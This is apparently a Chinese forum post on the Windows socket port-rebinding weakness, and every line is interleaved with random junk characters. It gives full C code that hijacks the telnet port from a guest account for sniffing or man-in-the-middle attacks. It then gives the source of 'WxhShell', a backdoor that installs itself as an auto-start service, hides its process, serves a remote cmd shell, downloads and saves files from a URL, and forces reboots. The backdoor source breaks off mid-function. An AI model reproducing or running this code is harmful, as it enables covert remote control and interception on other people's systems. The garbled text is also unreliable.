在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%b?uW]j: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
[.-a$J[4+F +zp0" ,2B saddr.sin_family = AF_INET;
:0I
l|aB ;;Tq$#vd saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-?fR|[\[U t!qwxX*$T bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
IaasHo\ 5g0_WpO 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
vRr9%zx FYl3c 这意味着什么?意味着可以进行如下的攻击:
$[z<oN_Q ?cK]C2Ak 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$5A^'q ,g|2NjUAc 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
i}lRIXjdV >];"N{ A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
S>t>6&A OZOb1D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[r9d<Zi}{ nzuF]vo 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
xS+rHC ~Z/7pP+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"%
Y u
wMY >|
m.?{^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
fp;a5||5 bEI!Ja #include
WeVi]n #include
39D } #include
4ZI_pf #include
Oy$<QXj/ DWORD WINAPI ClientThread(LPVOID lpParam);
S(t{&+Wc int main()
+tUQ {
2f..sNz WORD wVersionRequested;
9XOyj5 DWORD ret;
{Hk/1KG> WSADATA wsaData;
%VJW@S>j/ BOOL val;
sfI N)jh SOCKADDR_IN saddr;
.
\F7tc8? SOCKADDR_IN scaddr;
- _t&+5] int err;
RL&lKHA SOCKET s;
}0{B SOCKET sc;
~gdd cTp int caddsize;
'n4u-pM(nB HANDLE mt;
i!,HB|wQ DWORD tid;
Ekjf^Uo wVersionRequested = MAKEWORD( 2, 2 );
_B$"e[:yX err = WSAStartup( wVersionRequested, &wsaData );
=bL{i&& if ( err != 0 ) {
l &Z(K,6 printf("error!WSAStartup failed!\n");
C*rd;+1A return -1;
<[hz?:G"$ }
ea~i-7 saddr.sin_family = AF_INET;
XA3s],Rk [hnK/4! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
r\xXU~$9v KY+]RxX saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<'2u
a saddr.sin_port = htons(23);
[@2s&Ct; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%h/! Y<% {
MGybGbd printf("error!socket failed!\n");
@a(oB.i return -1;
asz?p\k:bC }
D9o*8h2$ val = TRUE;
KB+]eI-h //SO_REUSEADDR选项就是可以实现端口重绑定的
;rHz;]si if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/b{HG7i\ {
[`nY2[A$ printf("error!setsockopt failed!\n");
9L"?wv return -1;
;BVDt }
} yq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
euZI`*0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-3vh!JMN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
968^ "T# E em
g if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$?f]ZyZr. {
=P]GPEz_ ret=GetLastError();
!nzGH*td printf("error!bind failed!\n");
K7RKF$Z\ return -1;
oAz<G }
x'i0KF listen(s,2);
bl.EIyG> while(1)
wPH+n-&e {
<25ccE9^c caddsize = sizeof(scaddr);
VDiOO //接受连接请求
DL4iXULNY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<V
S2]13 if(sc!=INVALID_SOCKET)
SqqDV)Uih1 {
J]\^QMX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^PQM;" if(mt==NULL)
os**hFPk;1 {
O`(U/? printf("Thread Creat Failed!\n");
EfKntrom[ break;
j^I!6j=ZX }
+-ewE-:|L }
z!Hx @){| CloseHandle(mt);
8ds}+TtbY }
)X%oXc&C| closesocket(s);
P`
]ps?l WSACleanup();
^ItAW$T]F return 0;
o? \Gm }
4J}3,+ DWORD WINAPI ClientThread(LPVOID lpParam)
UkfA}b^@v {
b1)\Zi SOCKET ss = (SOCKET)lpParam;
v,0<9!'v SOCKET sc;
7d9Z/J@> unsigned char buf[4096];
(hsZ SOCKADDR_IN saddr;
]]y[t|6 long num;
PbN3;c3 DWORD val;
hBy*09Sv DWORD ret;
,qu:< //如果是隐藏端口应用的话,可以在此处加一些判断
s41adw> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]-Lruq# saddr.sin_family = AF_INET;
}!B.K^@) saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\(bj(any saddr.sin_port = htons(23);
LG6I_[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]}~4J.Yn {
qc&jd printf("error!socket failed!\n");
4if\5 P:j return -1;
nx$bM(. }
?Cc :) val = 100;
3):?ZCw7y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+7Rt{C, {
:D4];d>1 ret = GetLastError();
8]]@S"ZM,\ return -1;
5Pqt_ZWy }
O!
(85rp/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H &fTh {
nl9kYE
[ ret = GetLastError();
[yF^IlSs return -1;
:`5;nl63 }
|0]YA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
dk:xnX% {
rXDJ:NP printf("error!socket connect failed!\n");
;-Ado8 closesocket(sc);
`u=oeM: closesocket(ss);
5"uNj<.V return -1;
y($EK(cb }
3P`WPph while(1)
G<fS(q {
6VFirLd //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UOJ*a1BM //如果是嗅探内容的话,可以再此处进行内容分析和记录
kwc*is //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
23k)X"5 num = recv(ss,buf,4096,0);
]_\AHnJ if(num>0)
q|Fjm]AF send(sc,buf,num,0);
L6xB`E9 else if(num==0)
AoU_;B\b% break;
q#m!/wod num = recv(sc,buf,4096,0);
:mn(0
R~ if(num>0)
pJocI_v9 send(ss,buf,num,0);
->3uOF!q else if(num==0)
F {/>u(@3 break;
+K&?)?/= }
*?p
^6vO
closesocket(ss);
$r):d closesocket(sc);
Lz?*B$h return 0 ;
bw020@O* }
Z,SY
N?@ (H2ylMpQt GI?PGAT ==========================================================
EoKo
LS{bg.e 下边附上一个代码,,WXhSHELL
0W_mCV BPh".R J ==========================================================
$8Ig&k|~8 d~sJ=) #include "stdafx.h"
M6&~LI.We= T:6K?$y? #include <stdio.h>
P*7S3Td #include <string.h>
dB@FI #include <windows.h>
X0!Bs-WFp #include <winsock2.h>
Enu!u~1]F #include <winsvc.h>
'H!V54
\j #include <urlmon.h>
TqXge{r W oWBs)E #pragma comment (lib, "Ws2_32.lib")
FN>L7
*,0 #pragma comment (lib, "urlmon.lib")
df^0{gNHx m[W/j/$A+x #define MAX_USER 100 // 最大客户端连接数
{hM"TO7\ #define BUF_SOCK 200 // sock buffer
;*nh=w #define KEY_BUFF 255 // 输入 buffer
"% SX@ aDN.gMS #define REBOOT 0 // 重启
X8i[fk1.R #define SHUTDOWN 1 // 关机
C/bxfp{? PP],HB+*[ #define DEF_PORT 5000 // 监听端口
"~_$T@^k> pL8H8kn #define REG_LEN 16 // 注册表键长度
sbgJw #define SVC_LEN 80 // NT服务名长度
]W+)ee|D 5`{=` // 从dll定义API
r1+c/;TpZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9uKOR7.zbo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D/e&7^iK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
iQu^|,tHEM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|^?`Q.|c$ <>VIDE // wxhshell配置信息
Qg[heND struct WSCFG {
b$dBV}0 L int ws_port; // 监听端口
8>ESD}( char ws_passstr[REG_LEN]; // 口令
xC'mPcU8 int ws_autoins; // 安装标记, 1=yes 0=no
q)vK`\Y char ws_regname[REG_LEN]; // 注册表键名
) sRN!~ char ws_svcname[REG_LEN]; // 服务名
(v]P<3% char ws_svcdisp[SVC_LEN]; // 服务显示名
U&`6&$] char ws_svcdesc[SVC_LEN]; // 服务描述信息
5[nmP95YK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Wux 0RF& int ws_downexe; // 下载执行标记, 1=yes 0=no
lK "'nLL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gAj0ukX5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
tB]`Hj :-(U%`a[ };
s%5Uj} UE\%e9<l // default Wxhshell configuration
cT\Ov
P*_ struct WSCFG wscfg={DEF_PORT,
K!9y+%01 "xuhuanlingzhe",
NWw<B3aL 1,
[?A&xqO3 "Wxhshell",
[TP "Wxhshell",
Pb0)HlLq "WxhShell Service",
tp7oc_s?. "Wrsky Windows CmdShell Service",
tsck|;v "Please Input Your Password: ",
aXQ&@BZ{j 1,
AbL5 !' "
http://www.wrsky.com/wxhshell.exe",
m\_+)eI| "Wxhshell.exe"
L7X7Zt8% };
0K&_D) >ze>Xr'm5= // 消息定义模块
BHEs+e0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
xT:qe char *msg_ws_prompt="\n\r? for help\n\r#>";
;&RUE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
pi|\0lH6W char *msg_ws_ext="\n\rExit.";
t#a.}Jl char *msg_ws_end="\n\rQuit.";
cZ6?P`X char *msg_ws_boot="\n\rReboot...";
NAJ '><2 char *msg_ws_poff="\n\rShutdown...";
f+{c1fb>s char *msg_ws_down="\n\rSave to ";
ur?d6a $[)6H7!U) char *msg_ws_err="\n\rErr!";
ThjUiuWe char *msg_ws_ok="\n\rOK!";
@mvIt zB;'_[8M char ExeFile[MAX_PATH];
joxS+P5# int nUser = 0;
Tnf&pu#5 HANDLE handles[MAX_USER];
MKV=m8G= int OsIsNt;
2r
%>]y 9
aY'0wa SERVICE_STATUS serviceStatus;
65'`uuPx SERVICE_STATUS_HANDLE hServiceStatusHandle;
Qk?jGXB>^ I).=v{@9V< // 函数声明
&,^mM'
C int Install(void);
u
wH)$Pl int Uninstall(void);
>Kz_My9 int DownloadFile(char *sURL, SOCKET wsh);
-FQC9~rR;g int Boot(int flag);
yb[{aL^4% void HideProc(void);
SCgyp( int GetOsVer(void);
_2NN1/F5 int Wxhshell(SOCKET wsl);
,.~
W void TalkWithClient(void *cs);
d^ 2u}^kG int CmdShell(SOCKET sock);
s>LA3kT int StartFromService(void);
uCY(:;[< int StartWxhshell(LPSTR lpCmdLine);
F~tm`n8Z E%-Pyg* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3yeK@>C VOID WINAPI NTServiceHandler( DWORD fdwControl );
R1II k !y.ei1diw // 数据结构和表定义
KK@
&q SERVICE_TABLE_ENTRY DispatchTable[] =
K4iI: {
x eJ9H~^ {wscfg.ws_svcname, NTServiceMain},
!x`;>0 {NULL, NULL}
,O$Z,J4VL };
);0<Odw%. d\v$%0 // 自我安装
qlz( W int Install(void)
<FCj)CP% {
suA+8}o] char svExeFile[MAX_PATH];
:({-0&&_ HKEY key;
}rO?5 strcpy(svExeFile,ExeFile);
yTzY? q>Q:X3
// 如果是win9x系统,修改注册表设为自启动
k\sc }z8X if(!OsIsNt) {
qFV;n6&V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}v_p gatC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C!oS=qK?] RegCloseKey(key);
RY>)eGJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pem3G5
`g= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
17J} uXA RegCloseKey(key);
2z'+1+B' return 0;
%4bO_vb<9 }
LXBbz;vYl }
#JK;&Dg! }
8
m%>:}o else {
yd7lcb
[ p:DL:^zx // 如果是NT以上系统,安装为系统服务
Y}AmX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ap Fs UsE if (schSCManager!=0)
*ge].E {
^+(A&PyP? SC_HANDLE schService = CreateService
y0/WA4, (
"6NFe!/Y$* schSCManager,
Dj-\))L wscfg.ws_svcname,
o0zc}mm wscfg.ws_svcdisp,
08<k'Oi] SERVICE_ALL_ACCESS,
F{#N6,T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!yoSMI- SERVICE_AUTO_START,
)e4WAlg8c SERVICE_ERROR_NORMAL,
O"_erH\nk svExeFile,
2rK-X_} NULL,
!^c:'I>~ NULL,
o|R*POM NULL,
"Y"t2l_n NULL,
FK4nz2&4 NULL
A)b)ff , );
CL)1Q if (schService!=0)
vjexx_fq
{
dzjB UD CloseServiceHandle(schService);
:BewH?Ku CloseServiceHandle(schSCManager);
AzLbD2Pl strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N?MJ#lC
F strcat(svExeFile,wscfg.ws_svcname);
tIn7(C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}-REBrb- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
r;&]?9)W0 RegCloseKey(key);
-mev%lV return 0;
c!'A)JD@ }
)GiFkG }
p)?qJ2c| CloseServiceHandle(schSCManager);
K7t&fDI }
mF6@Y[/B }
;n( #b8r9 ]`#xR*a return 1;
e5*5.AB6& }
9f\aoVX bE7(L
$UF // 自我卸载
)LXoey!aZ int Uninstall(void)
nx!qCgo {
e67c:Z HKEY key;
AijPN "E@NZ*"u if(!OsIsNt) {
[
4?cM\_u@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Uv
@!i0W RegDeleteValue(key,wscfg.ws_regname);
9%p7B ~}E RegCloseKey(key);
O:oU`vE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.u&&H_ UmE RegDeleteValue(key,wscfg.ws_regname);
KKeb ioW RegCloseKey(key);
SY!`a:It return 0;
4_6W s$x }
C:'WX*W }
]p4`7@@)* }
#}[Sj-Vp else {
^%K1R; ;,F-6RNj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8]cv &d1f if (schSCManager!=0)
tJ?qcT? {
`l[6rf_. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1S*8v 7 if (schService!=0)
w>NZRP_3 {
?/`C~e<J if(DeleteService(schService)!=0) {
R`Ys;g/! CloseServiceHandle(schService);
<;$Sa's,LE CloseServiceHandle(schSCManager);
,_"7|z wb return 0;
~6@c]: }
D-TNFYYy2 CloseServiceHandle(schService);
1=9qAp;?o }
r+{!@`dYi CloseServiceHandle(schSCManager);
E"9/YWv }
B#qL$M,| }
[M7iJcwt ^D]7pe return 1;
9[t]] }
({d,oU$>y 2- Npw%; // 从指定url下载文件
j:rs+1bc int DownloadFile(char *sURL, SOCKET wsh)
"W?l R4 {
vxbH^b HRESULT hr;
ZXssvjWQV} char seps[]= "/";
4*N@=v char *token;
|kBg8).B char *file;
r)9i1rI+ char myURL[MAX_PATH];
_g^K$+F'} char myFILE[MAX_PATH];
CI~hmL0 wS F!Xx0 strcpy(myURL,sURL);
#K<=xP token=strtok(myURL,seps);
gZ`#tlA~ while(token!=NULL)
iGEQXIr3 {
E i\J9zt file=token;
)RAv[U1 token=strtok(NULL,seps);
SxLHFN] }
F- !}dzO *7xQp!w^ GetCurrentDirectory(MAX_PATH,myFILE);
WL)_8! strcat(myFILE, "\\");
UZ4tq strcat(myFILE, file);
4 BE:&A send(wsh,myFILE,strlen(myFILE),0);
]zhq.O
>2{ send(wsh,"...",3,0);
V:,3OLL* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
. T6_N if(hr==S_OK)
F'?5V0\he return 0;
@}zS/LO else
tK s4}vW return 1;
;9!yh\\ |h^G $guw }
vjs|!O=oH gNEzlx8A // 系统电源模块
H649J)v+m int Boot(int flag)
evndw> {
t(z(-G|& HANDLE hToken;
cjy0s+>> TOKEN_PRIVILEGES tkp;
@ 2%.>0s. 6S! lD= if(OsIsNt) {
m5'__< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2kp|zX( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
EvH(Po h tkp.PrivilegeCount = 1;
7b7%( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(_%JF[W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$dVgFot if(flag==REBOOT) {
hZss if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Yn[EI7D return 0;
iP#A-du }
i)`zKbK else {
*mK);@pL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*s<dgFA' return 0;
Vne.HFXA }
\J3v>&m<7 }
Ivt)Eg else {
?VOs:sln if(flag==REBOOT) {
nI|Lx`*v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
HkfSx rTgQ return 0;
}'w^<:RSy }
G8<It5CU else {
]mD=Br*r~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8ZNd|\ return 0;
e$/Zb`k }
qN`]*baS }
J<5vs3[9 vUIK4uR. return 1;
tI!R5q;k }
bb
O;AiHD soQv?4 // win9x进程隐藏模块
!Lg}q!*%>V void HideProc(void)
w=P<4bdT {
{6=H/g=:i MeK\eZ\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qRP8dH if ( hKernel != NULL )
9TXm Z {
cVP49r}}v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|$|n V^y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*2m&?,nJ FreeLibrary(hKernel);
t#D\*:Xi }
%.6?\w1e _>?8eC ]4a return;
`>K k;` }
"'H7F,k' k>z-Zg // 获取操作系统版本
"]\":T int GetOsVer(void)
BorfEv} SN {
P+zI9~N[ OSVERSIONINFO winfo;
@x-GbK? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
o7 -h'b- GetVersionEx(&winfo);
C"m0"O> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tpx3:| return 1;
<,]CVo else
|z<wPJ,;2 return 0;
$O]E$S${ }
7q{v9xKy @SQ*/sw (c // 客户端句柄模块
Fp|rMq int Wxhshell(SOCKET wsl)
uTlT'9) {
Bdk{.oh6 SOCKET wsh;
E6^S2J2 struct sockaddr_in client;
tgF(=a]o DWORD myID;
_6ax{:/Q C5lD
Hw[CX while(nUser<MAX_USER)
~NW5+M(u {
[2j(\vC! int nSize=sizeof(client);
H R!>g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
j>Bk; f| if(wsh==INVALID_SOCKET) return 1;
OAnn`*5Up OrH1fhh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
YDzF( ']o: if(handles[nUser]==0)
RVKaqJ0e< closesocket(wsh);
^%OH}Z `ly else
K/.hJ nUser++;
7rDRu] }
PA-0FlV| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
g7Q*KA+ *ej o6> return 0;
_ L:w;Oy9T }
vM3|Ti>a' eS# 0- // 关闭 socket
6~Oje>w; void CloseIt(SOCKET wsh)
Vqp.jF1| {
d<cbp[3F closesocket(wsh);
Ex s _LN nUser--;
+MoxvW6 ExitThread(0);
+fQ$~vr{' }
O>):^$-K% #pn AK // 客户端请求句柄
90if:mYA void TalkWithClient(void *cs)
K'rs9v"K| {
Nm:<rI,^ N, +g/o\f SOCKET wsh=(SOCKET)cs;
#1!BD!u char pwd[SVC_LEN];
|`D5XRVbi char cmd[KEY_BUFF];
Q@.9wEAJ char chr[1];
_.8]7f`*Gc int i,j;
^l2d?v8 _TcQ12H 5< while (nUser < MAX_USER) {
X'Il:SK !J?=nSu if(wscfg.ws_passstr) {
]}Hv,a
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^d$e^cU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U
&k3 //ZeroMemory(pwd,KEY_BUFF);
Pc
?G^
Xol i=0;
F1[[fH while(i<SVC_LEN) {
3\l9Sf=M| ]~ 8N // 设置超时
<.B> LU fd_set FdRead;
mt]YY<l struct timeval TimeOut;
wU3ica&[ FD_ZERO(&FdRead);
Jz8#88cY FD_SET(wsh,&FdRead);
j\L$dPZ TimeOut.tv_sec=8;
#w?%&,Kp TimeOut.tv_usec=0;
z)y(31K<1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ph'SS=!. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
a|{<#<6n( k.R/X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ZZJ"Ny.2 pwd
=chr[0]; YZtA:>;p
if(chr[0]==0xd || chr[0]==0xa) { CpdY)SMSL
pwd=0; >;U%~yy}qc
break; q9z!g/,d/
} zyn =Xv@p
i++; B-p5;h>
} K>JU/(
kT=|tQ@
// 如果是非法用户,关闭 socket 3A/MFQ#2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8ewEdnE
} ZrT|~$*m`
<;Z~ vZ]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -ns a3P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8r|
F7u%oLjr
while(1) { (=B7_jrl
^
/eSby
ZeroMemory(cmd,KEY_BUFF); |2` $g
sWzXl~JbF
// 自动支持客户端 telnet标准 ;8Q?`=a
j=0;
SL5DWZ
while(j<KEY_BUFF) { `l40awGCz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !b8|{#qh.
cmd[j]=chr[0]; @?AE75E{
if(chr[0]==0xa || chr[0]==0xd) { *jSc&{s~
cmd[j]=0; S5vMP
N
break; ebwoMG,B-
} hUvH
t+d
j++; %pKs- n`
} *"L:"i`*$
FOyfk$
// 下载文件 BrmFwXLP"
if(strstr(cmd,"http://")) { u<r('IW0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -+Ji~;b
if(DownloadFile(cmd,wsh)) 5.UgJ/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J, U~.c
else j-E>*N}-_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D"aQbQP
} 6j![m+vo%
else { l),13"?C(
32' 9Ch.
switch(cmd[0]) { %R "nm
:#KURYO<
// 帮助 }+Z;zm@/6
case '?': { ttt&sW`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +/8?+1E ^
break; O3GaxM\x
} +a@SdWf
// 安装 X2 kLbe
case 'i': { bTKxv<
if(Install()) g{{SY5qDj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U^S:2
else nrhpId
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4tKf
break; ^?`,f>`M
} 7-B'G/PS/
// 卸载 9Dkgu^`
case 'r': { k( ^ b
if(Uninstall()) f}d@G/L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +6E<+-N
else e.h:9`"*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 88U
break; (jMp`4P
} }Ec"&
// 显示 wxhshell 所在路径 lK@r?w|<M
case 'p': { '*.};t~;"d
char svExeFile[MAX_PATH]; : P2;9+v
strcpy(svExeFile,"\n\r"); 2Vr'AEIQ
strcat(svExeFile,ExeFile); q@>
m~R
send(wsh,svExeFile,strlen(svExeFile),0); t')I c6.?i
break; Stx-(Kfn4
} .6(i5K
// 重启 Onyq'
case 'b': {
.l'QCW9
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `/iN%ZKum
if(Boot(REBOOT)) 9LRY
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
=7@
else { N.rB-
closesocket(wsh); Jc6 D ^=
ExitThread(0); Etk<`GRfA
} pswppC6f
break; $nN$"
} }e w?{
// 关机 _"TG:RP
case 'd': { QY!A[!6h
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HX[#tT|m~
if(Boot(SHUTDOWN)) jlZNANR3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7MfvU|D[d/
else { Jl}7]cVq#
closesocket(wsh); ~=Sr0+vV
ExitThread(0); ;T(^riAEl
} b`=rd 4cpU
break; 9bvd1bKEW
} Kep?=9r4+
// 获取shell ?whp_
case 's': { 2|EoP-K7
CmdShell(wsh); 5lbh
"m=
closesocket(wsh); fA5#
2P{
ExitThread(0); %vzpp\t
break; jws(`mIf\
} 1uE[ %M
// 退出 }zi6 F.
case 'x': { ~yg9ZM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _^ZII
CloseIt(wsh); dY^~^<{Lj
break; MDt4KD+bZ
} .d,Zx
// 离开 >n62csO
case 'q': { p`0Tpgi
send(wsh,msg_ws_end,strlen(msg_ws_end),0); B7C6Mau
closesocket(wsh); co|0s+%PBq
WSACleanup(); }qg&2M%\
exit(1); \zU R9h
break; Nq8A vBwo4
} z'*>Tk8h
} uNDkK o<M
} R7>@-EG
p-_j0zv
// 提示信息 TY}?>t+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'rgV]Oy
} vJ s/ett
} 7#`:m|$
"~6BC
return; k5/}S@F8
} t!$/r]XM h
:yeTzIz]
// shell模块句柄 ?T&D@Ohsx
int CmdShell(SOCKET sock) shRvwE[
{ r}w 9?s^rB
STARTUPINFO si; LGkKR{ep(
ZeroMemory(&si,sizeof(si)); 'aJ?Syn
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?T"crX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]
D(3
PROCESS_INFORMATION ProcessInfo; bE{`g]C5
char cmdline[]="cmd"; l;fH5z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O_q_O
return 0; s&l[GKR
} PsVA>Q,4!.
mCo5Gdt
// 自身启动模式
u[u=:Y+
int StartFromService(void) ,b8AB_yw
{ \v<}{\.|$
typedef struct R:E:Y|&#
{ L xO'$oKZV
DWORD ExitStatus; 0J"3RTt
DWORD PebBaseAddress; =G`m7!Q)
DWORD AffinityMask; qi$8GX=~r
DWORD BasePriority; r_",E=e
ULONG UniqueProcessId; ~*qGH
